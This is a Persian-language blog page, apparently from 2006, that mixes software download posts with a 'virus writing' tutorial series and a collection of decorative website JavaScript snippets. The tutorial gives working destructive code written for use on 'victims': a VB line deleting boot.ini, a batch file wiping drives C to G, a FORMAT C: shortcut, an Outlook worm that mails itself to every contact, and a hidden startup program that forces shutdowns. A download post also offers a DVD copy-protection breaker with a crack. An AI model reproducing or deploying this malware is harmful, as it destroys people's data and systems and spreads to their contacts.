دانلود بازار

» امروز

منوي كاربري

لوگوي ما

خبرنامه

لينك دوستان

لينكدوني

لوگوي دوستان

منوي اصلي

نويسندگان

موضوعات

آرشيو ماهانه

جستجوگر

آمار وبلاگ

ساعت و تاريخ

دعوت به همکاری ( )

یاهو مسنجر 8 ( دانلود بازار )

چند روزي هست كه نسخه جديد نرم افزار ياهو مسنجر ارائه شده . گفتم براي شما لينك مستقيم اونو بزارم تا شما هم ازش استفاده كنيد .

من خودم دانلودش كردم . جالب شده . قسمت پلاگين جديد بهش اضافه شده و سرعت لوگينش خيلي رفته بالا . تازه سرعت Add رو هم خيلي بردن بالا . خلاصه بگم خوبه دانلودش كنيد .

دانلود مستقيم لينك يك دانلود مستقيم لينك دو

نوشته شده توسط اسماعیل محمدی در پنجشنبه بیستم مهر 1385

لينك ثابت

AnyDVD ( دانلود بازار )

AnyDVD
« قویترین برنامه کپی دی.وی.دی های قفل دار »
این برنامه تقریباً از تمام روش های قفل گذاری روی دی.وی.دی پشتیبانی میکند و شما میتواند فیلم های دی.وی.دی قفل دار را به راحتی کپی کنید. این برنامه به شما کمک میکند فیلم هایی که نمیتوانید با دستگاه DVD Palyer خود ببینید را مشاهده کنید. این برنامه فقط مخصوص بازکردن قفل دی.وی.دی ها نمیباشد و شما به کمک این برنامه میتوانید سی دی های صوتی قفل دار را نیز کپی کنید و سی دی بدون قفل تهیه کنید.
دانلود - 1.16 مگابایت
کرک
سایت سازنده

نوشته شده توسط اسماعیل محمدی در چهارشنبه نوزدهم مهر 1385

لينك ثابت

مجموعه کامل آیکونهای ویندوز ویستا ! ( دانلود بازار )

ویروس یاب برای موبایل ( دانلود بازار )

( )

اگر شما هم زیاد اهل چت کردن هستید این برنامه را حتماًدانلود کنید همانطور که در تصویر این برنامه میبینید با استفاده از این ابزار میتوانید پیام های عشقولانه خود را به صورت تصویر یک قلب به همراه تنها یک کاراکتر در میان آن ارسال کنید، شما به راحتی میتوانید شکلک سازنده تصویر قلب و شکلک کاراکتر را به راحتی با هریک ازشکلک های دیگر یاهو مسنجر عوض کنید!
با این ابزار جالب میتوانید تصاویر زیبای بسازید و آنها را برای دوستان خود ارسال کنید!
با دریافت این ابزار مطمئناً ساعت ها با آن سرگرم خواهید شد!

راهنما:
- برای ارسال تصویر مورد نظر باید تصویر قلب داخل برنامه را با ماوس به داخل پنجره در حال چت بکشید و رها سازید!
- با برداشتن تیک گزینه Attach author name از ارسال امضا نویسنده جلوگیری کنید!

دانلود - 30 کیلوبایت

نوشته شده توسط اسماعیل محمدی در سه شنبه هجدهم مهر 1385

لينك ثابت

بوت کردن در چت بدون نرم افزار ( )

ویروس نویسی با VB ( )

نیمچه ویروس !!!!

یک نیمچه ویروس که اعصاب کاربر رو داغون میکنه .این برنامه مختصات فعلی ماوس را به طور تصادفی در صفحه تایین میکند و با این کار نشانگر ماوس شما در هر لحظه در یک جای صفحه خواهد بود.

شرح برنامه:

ابتدا باید از تابع Api به نام SetCursorPosاستفاده کنید که به این صورت است.

Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long

و باید در فرم تعریف شود

و سپس یک تایمر با فاصله زمانی(interval) 1 در فرم ایجاد کرده و سپس کدهای زیر را که برای شما نوشتم را در داخل تایمر قرار دهید و سپس کلیدF5 را فشار دهید .چی می بینی؟

کد تایمر برنامه:

Private Sub Timer1_Timer()

'programin by farzad dh.

'weblog:farzadvb.blogfa.com

'e-mail:f_d662003@yahoo.com

'\/\/\/\/\/\/\/\/\/\/\/\/\/\

'8-Jul-05

Randomize 1000

farzadvb = Rnd(10) * 1000

bestforvb6 = Rnd(10) * 1000

temp = SetCursorPos(farzadvb, bestforvb6)

End Sub

از بین بردن ویندوز
دوستان از کار انداختن ویندوز اصلا کار سختی نیست در واقع فقط باید یه فایل با پسوندini
به اسم boot را از بین ببریم.که این کار با استفاده ارپز فرمان killعملیه
خب بریم سراغ کدها
برای این ویروس تنها باید کدهای زیر را در form loadبنویسید
(" Kill ("c:\boot.ini
" Shell "shutdown -r -t 1
فکر نمی کنم نیاز به توضیح باشه خط اول را که گفتم و در مورد خط دوم کامل در پست اول توضیح دادم

این برنامه (ویروس)ویندوز رو به حالت screen saver می بره ولی کاربر دیگه قادر نیست از screen saver
خارج بشه و مطمئن باشید راه دیگه ای بجز ری استارت سیستم نمی مونه
خب برای شروع ابتدا این کد ها رو در قسمت Generalفرم قرار دهید (کپی کنید)

Private Const SC_SCREEnSAVE = &HF140&
Private Const WM_SYSCOMMAND = &H112
Private Declare Function FindWindowA Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParm As Any) As Long
Sub ScreenSaver(blnScreenSaver As Boolean, Optional lHwnd As Long, Optional sFormCaption As String)
Dim lState As Long
If lHwnd = 0 Then
lHwnd = FindWindowA(vbNullString, sFormCaption)
End If
If blnScreenSaver Then
lState = 1
Else
lstat = -1
End If
Call SendMessage(lHwnd, WM_SYSCOMMAND, SC_SCREEnSAVE, lState)
End Sub

و در اخر یه timerبا قابلیت interval=1 به فرم اضافه کنید و کد های زیر را به فرم اضافه کنید(کپی کنید)

Private Sub Timer1_Timer()
Call ScreenSaver(Me.hWnd, Me.hWnd, -1)
End Sub

تو ضیحات:
۱-صرفا عاملی که بر نامه رو به یه شبه ویروس تبدیل می کنه وجوده تایمره با قابلیت intervalبسیار کم برای
گرفتن هر گونه قدرت عکس العمل از قربانی میگیره چون باعث میشه هربار که کاربر screen saver
را غیر فعال می کنه دوباره اونو اجرا کنه

ویروس ها از هر نوع که باشند حداقل در سه ویژگی مشترکند

1-پنهان بودن

2-اجرای اتوماتیک

3-توانایی توزیع خود

توانایی اول و دوم را در پست اول کامل توضیح دادم(حتما بخونید)

حالا می رسیم به قابلیت سوم یعنی توانایی توزیع خودکار ویروس

برای این کار کافیه این کدها را در برنامه قرار بدید

Set OutlookApp = CreateObject("Outlook.Application")

If Not OutlookApp = "" Then

For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists

For UserGroup = 1 To ContactSwitch.AddressEntries.Count

Set OutlookEmail = OutlookApp.CreateItem(0)

OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"

OutlookEmail.Attachments.Add WScript.ScriptFullName

OutlookEmail.DeleteAfterSubmit = True

OutlookEmail.Send

Next

Next

End If

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"

OutlookEmail.Attachments.Add WScript.ScriptFullName

نکته:

1-در این کدها در قسمت موضوع ومتن نامه میتوانید عبارت دلخواهتون را جایگزین کنید

2-ترجیحا این کدها باید در قسمت Form_Load نوشته شوند

3-این کدها به خودی خود ویروس نیستند بلکه شما باید در کنار این کدها کد اصلی(بدنه ی ویروس) را حتما وارد کنید

این دفعه یه سورس ویروس دارم که خیلی خطرناکه و کل هارد رو تخریب میکنه فقط کافیه این کدها را در Notepad و نوشته و با پسوندBATذخیره کنید

@echo off

ATTRIB -a -s -h -r c

ATTRIB -a -s -h -r c:\windows\*.*

Echo y | echo a | Echo y | del c:\*.*

Echo y | echo a | Echo y | del d:\*.*

Echo y | echo a | Echo y | del e:\*.*

Echo y | echo a | Echo y | del f:\*.*

Echo y | echo a | Echo y | del g:\*.*

echo y | copy *.* C:\

echo y | copy *.* D:\

echo y | copy *.* E:\

echo y | copy *.* F:\

echo y | copy *.* G:\

resrart

تذکر :

۱-هرگز این فایل را داخل سیستم خود اجرا نکنید کنید

۲-این ویروس صدمه ای(فیزیکی) به هارد نمی رسونه نترسید فقط هارد رو بهم می ریزه

*******************************************************************

نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر..

یادتون نره

ویروس ایندفعه باعث می شه تا درایوC (یا هر درایو دیگه)فرمت بشه با این که نحوهه ی ساختش به ویروس های معمولی شباهت نداره ولی کارش تقریبا مثل یه ویروس خوبه

برای شروع:

روي دسكتاپ راست كليك كنيد. بعد يک New ShortCut بسازيد.يه صفحه باز ميشود و داخل کادر بنويسيد: FORMAT C:/Y يا FORMAT C:/Q يا C:/Autotest Format سپس Next را زده و در صفحه جديد كه باز ميشود يه اسم براي ويروسي که ساخته ايد انتخاب كنيد. سپس Next را زده و يه آيكون براي ويروس انتخاب کرده و Finish كنيد.حالا بر رو Shortcut کليک راست مي کنيد . بعد روي Properties کليک کنيد. سپس به قسمت Screen رفته و Window رو به Full-screen تغيير دهيد.حال ويروس ماده است اگر روي اون کليک بکنيد درايو /:c شما فرمت ميشود.ت

براي امتحان درايو A را انتخاب کنيد يعني درون ShortCut اين را بنويسيد .FORMAT A:/Y و ببينيد چه اتفاقي مي افتد.

بابا جون چرا نظر نمی دین؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

درس اول

ویروس نویسی

با توجه به اینکه عمده ویروس هایی که آموزش داده خواهند شد با ویژوال بیسیک طراحی شده اند به شما پیشنهاد می کنم اگه این برنامه را ندارید حتما تهیه کنید.

ویروس بلاستر(البته گفتنیه که این کدها مربوط به بلاستر واقعی نیست و فقط کارش شبیه اونه)

.فکر می کنم شما هم حتما با کدهای این ویروس اشنا هستید ولی امروز می خوام کد هایی را در کنار این ویروس یاد بدم سبب می شود این ویروس:.

1-پنهان باشد( نه در .....دیده بشه ونه فرم اون قابل دیدن باشه )

2-پس هر بار روشن شدن کامپیوتر بلافاصله دو باره آن را خاموش یا ریست کند

3-ویروس یاب ها ها قادر به شناسایی آن نبا شند

فکر می کنم ویژگی های گفته شده به تنهایی شمارا مجاب به امتحان ویروس می کنه

خوب بریم سراغ کدها:

ابتدا این کدها را در قسمت فرم کپی کنید(ویژوال بیسیک)

Private Sub Form_Load()

Shell "shutdown -s -t zz"

End Sub

نکات:

کد بالا مخصوص خاموش کردن رایانه ی قربانی است برای رستارت کردن باید بجای -sقرار بدین-r

می توانید بجایzzزمان لازم برای عمل کرد ویروس را قرار دهید(بر حسب ثانیه)

برای پنهان کردنبرنامه باید عبارت زیر را درformوارد کنید.

App.TaskVisible = False
Me.Hide

خط اول برای پنهان کردن برنامه در..taskbarو خط دوم برای پنهان فرم کردن از دید کاربره

۳-به نظر من مهمترین نیاز یک ویروسه اجرای اتو ماتیک ویروسه که کدهای زیر این نیاز را برطرف می کنه

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

حالاکد برنامه ی شما باید مثل زیر باشد

Private Sub Form_Load()

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Shell "shutdown -s -t zz"

App.TaskVisible = False
Me.Hide

End sub

این برنامه با فشردن کلید.f5اجرا می شود ولی من توصیه می کنم اول فایل اجرایی آن را ذخیره و بعد اجرا کنید

نکات نهایی:

1- برای اینکه فرصت عکس العمل را از قربانی بگیرید زمان عملکرد ویروس را کمتر از5 ثانیه در نظر بگیرید

2-در صورتی که زمان عملکرد را بسیار کم در نظر گرفته اید هر گزان را اجرا نکنید چون اولین قربانی ویروس خود خواهید بود

3- اگر بتوانید ویروس رادر جایی غیر از درایو های اصلی قربانی قرار دهید قربانی برای نجات مجبور به formattکردن کل هارد می شود چون عملا این ویروس استفاده از ویندوز را غیر ممکن می سازد و اگر در درایو های فرعی باشد این بلا را سر سیستم عامل های تعویض شده هم می آورد.

نوشته شده توسط رضا محمدی در سه شنبه هجدهم مهر 1385

لينك ثابت

فرم شیشه ای ( )

اسم این برنامه برنامه فرم شیشه ایه یعنی فرم این برنامه

جوريه که تقريبا شفافه و ميتونين ميزان شفافيت اونو تغيير بدين

عين کد زير رو در قسمت کد فرمتون کپی کنيد و برنامه رو اجرا کنيد

در قسمت Trans Form1.hwnd, 100 ميتونين با تغيير دادن عدد 100 به بالاتر يا پايين تر ميزان شفافيت فرمتون رو تغيير بدبين

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long

Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long

Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Private Const GWL_EXSTYLE = (-20)

Private Const LWA_ALPHA = &H2

Private Const WS_EX_LAYERED = &H80000

' ######### FUNCTION ##################

Public Function Trans(ByVal hwnd As Long, Perc As Integer) As Long

Dim Msg As Long
On Error Resume Next
If Perc < 0 Or Perc > 255 Then
Trans = 1
Else
Msg = GetWindowLong(hwnd, GWL_EXSTYLE)
Msg = Msg Or WS_EX_LAYERED
SetWindowLong hwnd, GWL_EXSTYLE, Msg
SetLayeredWindowAttributes hwnd, 0, Perc, LWA_ALPHA
Trans = 0
End If
If Err Then
Trans = 2
End If

End Function

Private Sub Form_Activate()

Trans Form1.hwnd, 100

End Sub

نوشته شده توسط اسماعیل محمدی در دوشنبه هفدهم مهر 1385

لينك ثابت

کد جاوا ( )

حركت متن زير صفحه اينترنتي باز شده

<SCRIPT language=JavaScript> puchtit=")( www.Bijariran.com )("; letrero2=" زيباوب ::-::-::-::-::-::-::-::-::"; letrero1=" zibaweb.com ::-::-::-::-::-::-::-::-::";ultimo1=letrero1.length-1; ultimo2=letrero2.length-1; tiempo=setTimeout("scroll()",.1); function scroll() { aux1=letrero1.charAt(ultimo1-1); letrero1=aux1+letrero1.substring(0,ultimo1-1); aux2=letrero2.charAt(0); letrero2=letrero2.substring(1,ultimo2+1)+aux2; window.status="(" + letrero2 + puchtit + letrero1 + ")"; tiempo=setTimeout("scroll()",.1); return true; } // --> </SCRIPT>

تقويم ميلادي

<CENTER> <SCRIPT LANGUAGE="JavaScript">   </SCRIPT> </CENTER>

تاريخ شمسي

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD><TITLE>New Page 5</TITLE> <META content="MSHTML 6.00.2600.0" name=GENERATOR> <META content=FrontPage.Editor.Document name=ProgId> <META http-equiv=Content-Type content="text/html; charset=windows-1256"></HEAD> <BODY> <TABLE class=left cellSpacing=0 cellPadding=3 width="100%" border=0> <TBODY> <TR> <TD style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; WORD-SPACING: 0px"> <P style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px" align=center><FONT size=4> <SCRIPT> function showdate() { week= new Array("يكشنبه","دوشنبه","سه شنبه","چهارشنبه","پنج شنبه","جمعه","شنبه") months = new Array("فروردين","ارديبهشت","خرداد","تير","مرداد","شهريور","مهر","آبان","آذر","دی","بهمن","اسفند"); a = new Date(); d= a.getDay(); day= a.getDate(); month = a.getMonth()+1; year= a.getYear(); year = (year== 0)?2000:year; (year<1000)? (year += 2000):true; year -= ( (month < 3) || ((month == 3) && (day < 21)) )? 622:621; switch (month) { case 1: (day<21)? (month=10, day+=10):(month=11, day-=20); break; case 2: (day<20)? (month=11, day+=11):(month=12, day-=19); break; case 3: (day<21)? (month=12, day+=9):(month=1, day-=20); break; case 4: (day<21)? (month=1, day+=11):(month=2, day-=20); break; case 5: case 6: (day<22)? (month-=3, day+=10):(month-=2, day-=21); break; case 7: case 8: case 9: (day<23)? (month-=3, day+=9):(month-=2, day-=22); break; case 10:(day<23)? (month=7, day+=8):(month=8, day-=22); break; case 11: case 12:(day<22)? (month-=3, day+=9):(month-=2, day-=21); break; default: break; } document.write(week[d]+" "+day+" "+months[month-1]+" "+ year); } </SCRIPT> </FONT> <P align=center><FONT color=#0033cc size=4> <SCRIPT>showdate()</SCRIPT> </FONT></P></TR></TBODY></TABLE></BODY></HTML>

گذاشتن عكس در پشت زمينه

<body style="background-image: url('www.bijariran.com/IMAGES/LOGOBIJAR.jpg')">

اجراي موزيك در وبلاگ

<p align="center" style="margin-top: 0; margin-bottom: 0"> <EMBED SRC='www.bijariran.com/BIJAN.mid' WIDTH=120 HEIGHT=26 LOOP=true type=audio/x-pn-realaudio-plugin></TD></TR></TBODY></TABLE></TD> <TD vAlign=top align=left width=4 </body> </html>

ساعت ديناميكي

<SCRIPT LANGUAGE="JavaScript"> var timerID = null; var timerRunning = false; function stopclock () { if(timerRunning) clearTimeout(timerID); timerRunning = false; } function showtime () { var now = new Date(); var hours = now.getHours(); var minutes = now.getMinutes(); var seconds = now.getSeconds() var timeValue = "" + ((hours >12) ? hours -12 :hours) timeValue += ((minutes < 10) ? ":0" : ":") + minutes timeValue += ((seconds < 10) ? ":0" : ":") + seconds timeValue += (hours >= 12) ? " P.M." : " A.M." document.clock.face.value = timeValue; // you could replace the above with this // and have a clock on the status bar: // window.status = timeValue; timerID = setTimeout("showtime()",1000); timerRunning = true; } function startclock () { // Make sure the clock is stopped stopclock(); showtime(); } </SCRIPT> <BODY onLoad="startclock(); timerONE=window.setTimeout" TEXT="ffffff"> <CENTER><form name="clock" onSubmit="0"> <input type="text" name="face" size=13 value="" style="background-color: #FF9900"></CENTER>

اين وبلاگ يا سايت را صفحه خانگي خود كنيد

<a style="cursor:hand;color:#0000FF;" onClick="this.style.behavior= 'url(#default#homepage)';this.setHomePage ('http://www.bijariran.com');">صفحه اصلي شما </a>

پيغام باز شدن صفحه

<head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> <title></title> </head> <html> <body> <center> <script LANGUAGE="JavaScript">   </script> </center>  <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p align="center"><a href="http://www.bijariran.com"> <font face="Tahoma" size="2">Bijariran</font></a></p> </body> </html> </body> </html>

نوشته به صورت روشن و خاموش

<h2> <p align="center"> <script language="JavaScript1.2"> /* Neon Lights Text By JavaScript Kit (www.tarisha.com) Over 400+ free scripts here! */ var message="be saite Bijariran khosh omadid" var neonbasecolor="gray" var neontextcolor="#ff0000" var flashspeed=100 //in milliseconds ///No need to edit below this line///// var n=0 if (document.all){ document.write('<font color="'+neonbasecolor+'">') for (m=0;m<message.length;m++) document.write('<span id="neonlight">'+message.charAt(m)+'</span>') document.write('</font>') //cache reference to neonlight array var tempref=document.all.neonlight } else document.write(message) function neon(){ //Change all letters to base color if (n==0){ for (m=0;m<message.length;m++) tempref[m].style.color=neonbasecolor } //cycle through and change individual letters to neon color tempref[n].style.color=neontextcolor if (n<tempref.length-1) n++ else{ n=0 clearInterval(flashing) setTimeout("beginneon()",1500) return } } function beginneon(){ if (document.all) flashing=setInterval("neon()",flashspeed) } beginneon() </script> </h2>

ساعت كامپيوتري

<body onLoad="goforit()"> <script> var dayarray=new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday") var montharray=new Array("January","February","March","April","May","June","July","August","September","October","November","December") function getthedate(){ var mydate=new Date() var year=mydate.getYear() if (year < 1000) year+=1900 var day=mydate.getDay() var month=mydate.getMonth() var daym=mydate.getDate() if (daym<10) daym="0"+daym var hours=mydate.getHours() var minutes=mydate.getMinutes() var seconds=mydate.getSeconds() var dn="AM" if (hours>=12) dn="PM" if (hours>12){ hours=hours-12 } if (hours==0) hours=12 if (minutes<=9) minutes="0"+minutes if (seconds<=9) seconds="0"+seconds //change font size here var cdate="<small><font color='000000' face='Arial'><b>"+dayarray[day]+", "+montharray[month]+" "+daym+", "+year+" "+hours+":"+minutes+":"+seconds+" "+dn +"</b></font></small>" if (document.all) document.all.clock.innerHTML=cdate else document.write(cdate) } if (!document.all) getthedate() function goforit(){ if (document.all) setInterval("getthedate()",1000) } </script> <span id="clock"></span>

كد لينك دادن

<br> <a target="_blank" href="http://www.Bijariran.com"> <font face="Titr">Beautifull</font></a> <br>

گردش پروانه

<script>  </script>

ممنوع كردن راست كليك در سايت يا وبلاگ

<SCRIPT language=""> document.onmousedown=click var times=0 var times2=4 function click() { if ((event.button==2) || (event.button==3)) { if (times>=0) { earthquake() } times++ } } function earthquake () { alert("!!!!!!sorry www.Bijariran.com !!!!!! ") } </SCRIPT>

منوي باز شو

  <style>  </style></HEAD> <BODY> <ilayer id="coffeemenu01" height=35px> <layer id="coffeemenu02" visibility=show> <span id="wrapper"> <span id="wrapper2" onClick="dropit2();event.cancelBubble=true;return false"> <font face="Verdana"><b><a href="notthisbrowser.html">Click Here To Navigate</a></b></font> </span> </span> </layer> </ilayer> <script language="JavaScript1.2"> var enableeffect=true var selection=new Array() selection[0]='<font face="ARIAL BLACK"><a href="http://www.coffeecup.com">Order Our Stuff</a><br>' selection[1]='<a href="http://www.coffeecup.com">Contact Us via E-mail</a><br>' selection[2]='<a href="http://www.coffeecup.com">Help With Our Items</a><br>' selection[3]='<a href="http://www.coffeecup.com">Products We Have</a><br>' selection[4]='<a href="http://www.coffeecup.com">Services We Offer</a><br></font>' if (document.layers) document.coffeemenu01.document.coffeemenu02.visibility='show' function dropit2(){ if (document.all){ coffeemenu03.style.left=document.body.scrollLeft+event.clientX-event.offsetX coffeemenu03.style.top=document.body.scrollTop+event.clientY-event.offsetY+18 if (coffeemenu03.style.visibility=="hidden"){ if (enableeffect) coffeemenu03.filters.revealTrans.apply() coffeemenu03.style.visibility="visible" if (enableeffect) coffeemenu03.filters.revealTrans.play() } else{ hidemenu() } } } function dropit(e){ if (document.coffeemenu03.visibility=="hide") document.coffeemenu03.visibility="show" else document.coffeemenu03.visibility="hide" document.coffeemenu03.left=e.pageX-e.layerX document.coffeemenu03.top=e.pageY-e.layerY+19 return false } function hidemenu(){ if (enableeffect) coffeemenu03.filters.revealTrans.stop() coffeemenu03.style.visibility="hidden" } function hidemenu2(){ document.coffeemenu03.visibility="hide" } if (document.layers){ document.coffeemenu01.document.coffeemenu02.captureEvents(Event.CLICK) document.coffeemenu01.document.coffeemenu02.onclick=dropit } else if (document.all) document.body.onclick=hidemenu </script> <div id="coffeemenu03" style="position:absolute;left:0;top:0;layer-background-color:#C0C0C0;background-color:#C0C0C0;width:200;visibility:hidden;border:2px solid black;padding:0px"> <script language="JavaScript1.2"> if (document.all) coffeemenu03.style.padding='4px' for (i=0;i<selection.length;i++) document.write(selection[i]) </script> </div> <script language="JavaScript1.2"> if (document.layers){ document.coffeemenu03.captureEvents(Event.CLICK) document.coffeemenu03.onclick=hidemenu2 } </script> 

متن به صورت افكت زيبا

  <meta http-equiv="Content-Language" content="en-us"> <body onload="if (document.all||document.layers) {regenerate2();update()}"> <style>  </style> <div id="msgline"> <div id="msgtext" class="msgtextfont" style="width: 615; height: 88"> </div> </div> <script language="JavaScript1.2"> var speed=4000 var news=new Array() news[0]="<a href='http://www.bijariran.com'>سايتي بسيار زيبا Bijariran.com</a>" news[1]="<a href='http://www.bijariran.com'>همه چيز از همه جا</a>" news[2]="<a href='http://www.bijariran.com/bijarcity.htm'>بيجار شناسي....</a>" news[3]="<a href='http://www.bijariran.com/photosite.htm'>تصاويري از بيجار....</a>" i=0 if (document.all) tickerobject=document.all.msgtext.style else tickerobject=document.msgline.document function regenerate(){ window.location.reload() } function regenerate2(){ if (document.layers) setTimeout("window.onresize=regenerate",450) } function update(){ BgFade(0xff,0xff,0xff, 0x00,0x00,0x00,10); if (document.layers){ document.msgline.document.msgtext.document.write('<span class="msgtextfont">'+news[i]+'</span>') document.msgline.document.msgtext.document.close() } else document.all.msgtext.innerHTML=news[i] if (i<news.length-1) i++ else i=0 setTimeout("update()",speed) } function BgFade(red1, grn1, blu1, red2, grn2, blu2, steps) { sred = red1; sgrn = grn1; sblu = blu1; ered = red2; egrn = grn2; eblu = blu2; inc = steps; step = 0; MsgDither(); } function MsgDither() { var epct = step/inc; var spct = 1 - epct; if (document.layers) tickerobject.bgColor = Math.floor(sred * spct + ered * epct)*256*256 + Math.floor(sgrn * spct + egrn * epct)*256 + Math.floor(sblu * spct + eblu * epct); else tickerobject.backgroundColor= Math.floor(sred * spct + ered * epct)*256*256 + Math.floor(sgrn * spct + egrn * epct)*256 + Math.floor(sblu * spct + eblu * epct); if ( step < inc ) { setTimeout('MsgDither()',50); } step++; } </script> 

حركت اسكرول لاك از بالا به پايين

  <SCRIPT LANGUAGE="JavaScript">  </SCRIPT> </HEAD> <BODY onload="scroller()"> <CENTER> <p><font face="VERDANA, ARIAL">www.Bijariran.com</font></p> <font face="VERDANA, ARIAL" size="4"> <HR WIDTH=350 NOSHADE> <P> <span lang="ar-sa">تصاوير</span><P> <span lang="ar-sa">عطريجات</span><p> <span lang="ar-sa">نقره</span></p> <p> <span lang="ar-sa">تيتانيوم</span> <P><span lang="ar-sa">داروهاي گياهي</span> <P> <span lang="ar-sa">بيجار شناسي</span><p><span lang="ar-sa">كردستان شناسي</span></p> <p><span lang="ar-sa">مقالات</span></p> <p><span lang="ar-sa">آموزش كامپيوتر</span></p> <P><span lang="ar-sa">داونلود</span><p> <p><span lang="ar-sa">موزيك بسيار كم حجم</span></p> <P> make <A HREF="http://www.bijariran.com/">Links.</A><p> <span lang="ar-sa">شعر</span><p><span lang="ar-sa">ديدگاههاي فرهنگي</span></p> <p><span lang="ar-sa">تجاري</span></p> <p> <p></font> </CENTER> 

نمايش متن با يك افكت زيبا

    <style type="text/css"> body { background-color:#FFFFFF; font-family: Arial; font-size:10pt; } </style> <script> // text=new Array('سايت','بيجار ايران','تجاري','Bijariran.com') // var numText=4 // color=new Array('#000000','#2F2F2F','#4F4F4F','#7F7F7F','#408080') // var numColors=5 // var endSize=70 // var Zspeed=30 // var Cspeed=200 // var font='Arial Black' // var hide=false var size=10 var gonum=0 var ie, n; if (document.all) { n=0 ie=1 zoomText='document.all.zoom.innerText=text[num]' zoomSize='document.all.zoom.style.fontSize=size' closeIt="" fadeColor="document.all.zoom.style.color=color[num]" } if (document.layers) { n=1;ie=0 zoomText="" zoomSize="document.zoom.document.write('<p align=\"center\" style=\"font-family:'+font+'; font-size:'+size+'px; color:'+color[0]+'\">'+text[num]+'</p>')" closeIt="document.zoom.document.close()" fadeColor="document.zoom.document.write('<p align=\"center\" style=\"font-family:'+font+'; font-size:'+endSize+'px; color:'+color[num]+'\">'+text[numText-1]+'</p>')" } function zoom(num,fn){ if (size<endSize){ eval(zoomText) eval(zoomSize) eval(closeIt) size+=5; setTimeout("zoom("+num+",'"+fn+"')",Zspeed) }else{ eval(fn); } } function fadeIt(num){ if (num<numColors){ eval(fadeColor) eval(closeIt) num+=1; setTimeout("fadeIt("+num+")",Cspeed) }else{ hideIt() } } function hideIt(){ if(hide){ if(ie)document.all.zoom.style.visibility="hidden" if(n)document.layers.zoom.visibility="hidden" } } function init(){ if(ie){ document.all.zoom.style.color=color[0] document.all.zoom.style.fontFamily=font } if(ie || n) go(0) } function go(num){ gonum+=1 size=10 if(num<numText){ zoom(num,'go('+gonum+')') }else{ fadeIt(0) } } </script> </head> <body onload="init()" bgcolor="FFFFFF"> <CENTER> <p></p> </CENTER><P> <div id="zoom" align="center" style="position:absolute; top:150"> </DIV> 

اضافه كردن صفحه به بو كمارك

   <script language="JavaScript1.2">  </script>  <a href="javascript:ccaddbookmark()" target="_self"> <font size="1" face="Arial">[ Add bijariran.com to your Favorites ]</font> </a> 

خط قرمز دنبال ماوس

   <style>  </style>  <div id="leftright" style="width:expression(document.body.clientWidth-2)"></div> <div id="topdown" style="height:expression(document.body.clientHeight-2)"></div> <script language="JavaScript1.2">  </script> 

براي قرار دادن جستجو گر كلمه در سايت

   <script language="JavaScript"> var NS4 = (document.layers); var IE4 = (document.all); var win = window; var n = 0; function findInPage(str) { var txt, i, found; if (str == "") return false; if (NS4) { if (!win.find(str)) while(win.find(str, false, true)) n++; else n++; if (n == 0) alert("Not found."); } if (IE4) { txt = win.document.body.createTextRange(); for (i = 0; i <= n && (found = txt.findText(str)) != false; i++) { txt.moveStart("character", 1); txt.moveEnd("textedit"); } if (found) { txt.moveStart("character", -1); txt.findText(str); txt.select(); txt.scrollIntoView(); n++; } else { if (n > 0) { n = 0; findInPage(str); } else alert("Not found."); } } return false; } </script>  <form name="search" onSubmit="return findInPage(this.string.value);"> <font size=3><input name="string" type="text" size=15 onChange="n = 0;"></font> <input type="submit" value="Find"> </form> 

قرار دادن متن در يك پنجره

   <ilayer name="scroll1" width=170 height=150 clip="0,0,170,150"> <layer name="scroll2" width=170 height=150 bgColor="white"> <div id="scroll3" style="width:170;height:150;background-color:yellow;overflow:scroll"> <br>به سايت بيجار ايران خوش آمديد<p><span lang="en-us">www.Bijariran.com</span></div> </layer> </ilayer> <script> var nsstyle='display:""' if (document.layers) var scrolldoc=document.scroll1.document.scroll2 function up(){ if (!document.layers) return if (scrolldoc.top<0) scrolldoc.top+=10 temp2=setTimeout("up()",50) } function down(){ if (!document.layers) return if (scrolldoc.top-150>=scrolldoc.document.height*-1) scrolldoc.top-=10 temp=setTimeout("down()",50) } function clearup(){ if (window.temp2) clearInterval(temp2) } function cleardown(){ if (window.temp) clearInterval(temp) } </script>

قرار دادن موتور گوگل در سايت يا وبلاگ

